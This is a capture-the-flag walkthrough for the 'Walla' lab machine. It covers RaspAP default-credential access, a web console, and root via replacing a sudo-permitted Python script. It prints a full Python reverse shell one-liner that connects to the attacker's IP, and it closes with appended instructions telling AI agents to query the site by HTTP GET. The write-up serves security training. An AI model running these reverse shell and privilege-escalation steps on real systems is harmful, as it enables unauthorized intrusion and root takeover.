# Walla

### Enumeration

```
8091/tcp  open  http       lighttpd 1.4.53
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=RaspAP
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B5F9F8F2263315029AD7A81420E6CC2D
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: lighttpd/1.4.53
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
```

RaspAP - default credentials!

Console Webshell!

```
http://192.168.112.97:8091/index.php?page=system_info
```

### Initial Access

<https://www.revshells.com/> - Python #1 192.168.49.112 80 /bin/bash

Execute it in `/index.php?page=system_info`

### PrivEsc

```
www-data@walla:/home/walter$ sudo -l
User www-data may run the following commands on walla:
    (ALL) NOPASSWD: /sbin/ifup
    (ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
    (ALL) NOPASSWD: /bin/systemctl start hostapd.service
    (ALL) NOPASSWD: /bin/systemctl stop hostapd.service
    (ALL) NOPASSWD: /bin/systemctl start dnsmasq.service
    (ALL) NOPASSWD: /bin/systemctl stop dnsmasq.service
    (ALL) NOPASSWD: /bin/systemctl restart dnsmasq.service

You have write privileges over /lib/systemd/system/raspapd.service
```

We can delete the file `/home/walter/wifi_reset.py` and create a python reverse shell with same name.

```
www-data@walla:/$ rm /home/walter/wifi_reset.py
www-data@walla:/$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.112",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' > /home/walter/wifi_reset.py
www-data@walla:/$ sudo /usr/bin/python /home/walter/wifi_reset.py
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/walla.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.